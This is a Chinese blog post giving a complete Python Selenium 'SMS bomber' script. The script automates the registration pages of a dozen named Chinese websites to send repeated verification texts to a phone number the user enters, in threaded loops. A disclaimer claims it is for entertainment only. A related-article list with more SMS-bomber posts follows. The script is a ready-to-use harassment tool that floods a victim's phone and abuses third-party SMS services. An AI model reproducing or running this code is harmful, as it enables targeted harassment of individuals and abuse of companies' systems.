原理其实很简单,就是利用selenium包打开各种网站的注册页,输入轰炸的号码,实现轰炸。其实也算是利用了注册漏洞。申明:仅娱乐使用,禁止️用于非法用途!若用于非法用途,后果及法律责任博主一律不承担

 from selenium import webdriver
from selenium.webdriver import ActionChains
import time
import threading #360借条
def send_360(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://www.360jie.com.cn/')
browser.find_element_by_name("mobile").send_keys(phon_num)
browser.find_element_by_id('btnSendCode1').click()
time.sleep(5)
browser.close() #拍拍贷
def send_paipai(phon_num): option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
key = "8263abd"
browser.get("https://account.ppdai.com/pc/login")
browser.find_element_by_class_name("login_toRegister").click()
browser.find_element_by_name("Mobile").send_keys(phon_num)
browser.find_element_by_name("Password").send_keys(key)
browser.find_element_by_id("getvefydata").click()
time.sleep(5)
browser.close() #饿了么开放平台
def send_ele(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://open.shop.ele.me/openapi/register')
browser.find_element_by_class_name('el-checkbox__inner').click()
time.sleep(3)
browser.find_element_by_xpath("//*[@class='el-button btn-next-step el-button--primary']").click()
time.sleep(4)
browser.find_element_by_class_name('el-input__inner').send_keys(phon_num)
browser.find_element_by_class_name('btn-verifyCode').click()
time.sleep(4)
browser.close() #瓜子二手车
def send_guazi(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome()
browser.get('https://www.guazi.com/nanchong/')
time.sleep(1)
browser.find_element_by_xpath("//*[@class='close js-close-finance-pop']").click()
time.sleep(2)
browser.find_element_by_id('js-login-new').click()
time.sleep(1)
browser.find_element_by_name('phone').send_keys(phon_num)
time.sleep(1)
browser.find_element_by_class_name('get-code').click()
time.sleep(4)
browser.close() #凤凰智信
def send_fenghuang(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://www.fengwd.com/')
time.sleep(1)
browser.find_element_by_xpath("//*[@class='top-bar-item login-tag']/a").click()
time.sleep(2)
browser.find_element_by_id('mobile_number').send_keys(phon_num)
browser.find_element_by_xpath("//*[@class='get-sms-captcha blue']").click()
time.sleep(4)
browser.close() #众房宝
def send_zongfangbao(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://www.zonefang.com/member/common/register')
time.sleep(1)
browser.find_element_by_class_name('phone').send_keys(phon_num)
time.sleep(2)
browser.find_element_by_class_name('pwd').send_keys('123456ydsa')
time.sleep(1)
browser.find_element_by_xpath("//*[@class='send_msg hand']").click()
time.sleep(4)
browser.close() #百合相亲网
def send_baihe(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://my.baihe.com/register/?spm=2.13.24.69.99')
time.sleep(1)
browser.find_element_by_id('account').send_keys(phon_num)
browser.find_element_by_id('mobileValiCode_btn').click()
time.sleep(4)
browser.close() #四川航空
def send_sichuanair(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('http://flights.sichuanair.com/3uair/ibe/profile/createProfile.do')
browser.find_element_by_name('mobilePhone').send_keys(phon_num)
time.sleep(1)
browser.find_element_by_id('sendSmsCode').click()
time.sleep(6)
browser.close() #昆明航空
def send_airkunming(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://www.airkunming.com/#/user/register')
browser.find_element_by_id('mobile').send_keys(phon_num)
time.sleep(1)
browser.find_element_by_xpath("//*[@class='sms-code']").click()
time.sleep(4)
browser.close() #有赞开放平台
def send_youzan(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('https://console.youzanyun.com/register')
browser.find_element_by_xpath("//*[@class = 'zent-input phone']").send_keys(phon_num)
time.sleep(1)
browser.find_element_by_xpath("//*[@class = 'sms-btn']").click()
time.sleep(4)
browser.close() #安徽相亲网
def send_anhuixiangiqn(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('http://www.ahxiangqin.cn/index.php?c=passport&a=reg')
browser.find_element_by_name('mobile').send_keys([phon_num])
time.sleep(1)
#browser.find_element_by_class_name('action-send-mobile-code get').click()
browser.find_element_by_xpath("//*[@class = 'action-send-mobile-code get']").click()
time.sleep(4)
browser.close() #我主良缘
def send_wozhuliangyuan(phon_num):
option = webdriver.ChromeOptions()
option.add_argument('headless')
browser = webdriver.Chrome(chrome_options=option)
browser.get('http://m.7799520.com/register.html')
browser.find_element_by_name('mobile').send_keys([phon_num])
time.sleep(1)
bu = browser.find_elements_by_tag_name('button')
for i in bu:
i.click()
time.sleep(2)
browser.close() if __name__ == "__main__":
phon_num = input('输入轰炸的手机号:')
run_roll = input('轰炸循环次数:')
run_roll = int(run_roll)
for _ in range(run_roll):
#threading.Thread(target = send_baihe(phon_num)).start()
threading.Thread(target = send_360(phon_num)).start()
#threading.Thread(target = send_paipai(phon_num)).start()
threading.Thread(target = send_ele(phon_num)).start()
#threading.Thread(target = send_guazi(phon_num)).start()
threading.Thread(target = send_fenghuang(phon_num)).start()
#threading.Thread(target = send_zongfangbao(phon_num)).start()
threading.Thread(target = send_sichuanair(phon_num)).start()
threading.Thread(target = send_airkunming(phon_num)).start()
threading.Thread(target = send_youzan(phon_num)).start()
threading.Thread(target = send_anhuixiangiqn(phon_num)).start()
threading.Thread(target = send_wozhuliangyuan(phon_num)).start()
time.sleep(4)

Python 实现短信轰炸机的更多相关文章

  1. 使用Selennium实现短信轰炸机

    前言 可以用来轰炸一下骗子,但最好不要乱用.本来初学Python,仅当学习. selenium和ChromeDriver的安装与配置 可参考这篇博客,这里不再赘述. 程序实现 短信轰炸机的原理是利用一 ...

  2. Python3实现短信轰炸机

    短信轰炸机的基本原理:利用某些限制不严格的网站短信注册接口,用Python模拟请求,传入被炸人手机号码,实现轰炸 实现方式:利用requests模块.time模块.完成请求模拟 模块安装: 在终端窗口 ...

  3. 键盘上的"整蛊专家",如何防止短信轰炸机

    "短信轰炸机",是别人通过爬虫或者其他抓取手段在网路上收集那些公司平台短信业务接口的一个集成程序,可能只需要输入一个手机号,对方一整天都会收到各大平台的注册或提醒短信,就是手机在那 ...

  4. Python发送短信提醒

    Python发送短信可借助腾讯云平台提供的短信服务 发送短信需要的及格参数: 1.SDK_AppID和SDK_Key 2.签名: 3.模板ID 下面贴出源码DEMO: from qcloudsms_p ...

  5. 使用python进行短信轰炸

    本文作者:i春秋作家——Hacker1ee 大家好,我是1ee(因为在作家群,就不加Hacker这个前缀了,怕被大佬打..) 刚加入i春秋作家组希望大家多多关照,也欢迎大家找我交流 今天我来讲讲我最近 ...

  6. python短信轰炸机版本smsbomb----------部分(post)

    用一些用手机号注冊且须要发送验证码的站点的漏洞.能够向不论什么人的手机号发送短信,当然短信内容,我们无法控制.所以主要工作还是寻找这种站点.然后利用Fiddler或者HttpWatch分析请求.使用p ...

  7. 使用python实现短信PDU编码

    前几天入手一个3G模块,便倒腾了一下.需要发送中英文混合短信,所以采用PDU模式(不了解google ^_^). 最大问题当然就是拼接PDU编码(python这么强大,说不定有模块),果不其然找到一个 ...

  8. DAY3 python群发短信

    手机轰炸,burpsuit 抓取注册页面输入的手机号,然后每点击一次forword ,都开开始放行,发短信.也可以发到repeat 里面进行 ,重复发送短信. import requests impo ...

  9. python发送短信验证码

    业务: 手机端点击发送验证码,请求发送到python端,由python调用第三方平台(我们使用的是榛子云短信http://smsow.zhenzikj.com)的短信接口,生成验证码并发送. SDK下 ...

随机推荐

  1. Java实现 LeetCode 292 Nim游戏

    292. Nim 游戏 你和你的朋友,两个人一起玩 Nim 游戏:桌子上有一堆石头,每次你们轮流拿掉 1 - 3 块石头. 拿掉最后一块石头的人就是获胜者.你作为先手. 你们是聪明人,每一步都是最优解 ...

  2. Java实现 蓝桥杯VIP 算法提高 项链

    算法提高 项链 时间限制:1.0s 内存限制:512.0MB 问题描述 由 n(1≤n≤100) 个珠子组成的一个项链,珠子有红.蓝.白三种颜色,各种颜色的珠子的安排顺序由键盘输入的字符串任意给定.蓝 ...

  3. Java实现有向图强连通分量的Tarjan算法

    1 问题描述 引用自百度百科: 如果两个顶点可以相互通达,则称两个顶点强连通(strongly connected).如果有向图G的每两个顶点都强连通,称G是一个强连通图.有向图的极大强连通子图,称为 ...

  4. mysql基础之-mysql查询缓存(九)

    0x01 MySQL查询缓存 用于保存MySQL查询语句返回的完整结果,被命中时,MySQL会立即返回结果,省去解析.优化和执行等操作 如何检查缓存?? MySQL保存结果与缓存中: 把select语 ...

  5. 计算从1到n中,出现某位数字的次数

    出现1-9中某位数字次数的算法 /** * @param input 整数n(1 ≤ n ≤ 1,000,000,000) * @return 1-9中某个数字在数列中出现的次数 */ public ...

  6. CoordinatorLayout简介

    CoordinatorLayout简介 CoordinatorLayout的作用 协调子view的布局,降低子view之间的耦合度 CoordinatorLayout的使用 核心:Behavior,用 ...

  7. JMeter接口压测和性能监测

    JMeter接口压力测试总结 一.安装JMeter 1.     在客户端机器上安装JMeter压测工具,我这里安装的版本是apache-jmeter-5.2.1,由于JMeter是JAVA语言开发的 ...

  8. Cypress系列(22)- 可操作类型的命令 之 select()

    如果想从头学起Cypress,可以看下面的系列文章哦 https://www.cnblogs.com/poloyy/category/1768839.html .select() 在 <sele ...

  9. 「雅礼集训 2017 Day4」洗衣服

    题目   点这里看题目. 分析   首先考虑只有洗衣机的情况.我们可以想到,当前洗衣任务结束越早的洗衣机应该被先用,因此可以用堆来动态维护.   再考虑有烘干机的情况.很显然,越晚洗完的衣服应该越早烘 ...

  10. python + selenium登陆并点击百度平台

    from PIL import Imagefrom selenium.webdriver import DesiredCapabilitiesfrom selenium import webdrive ...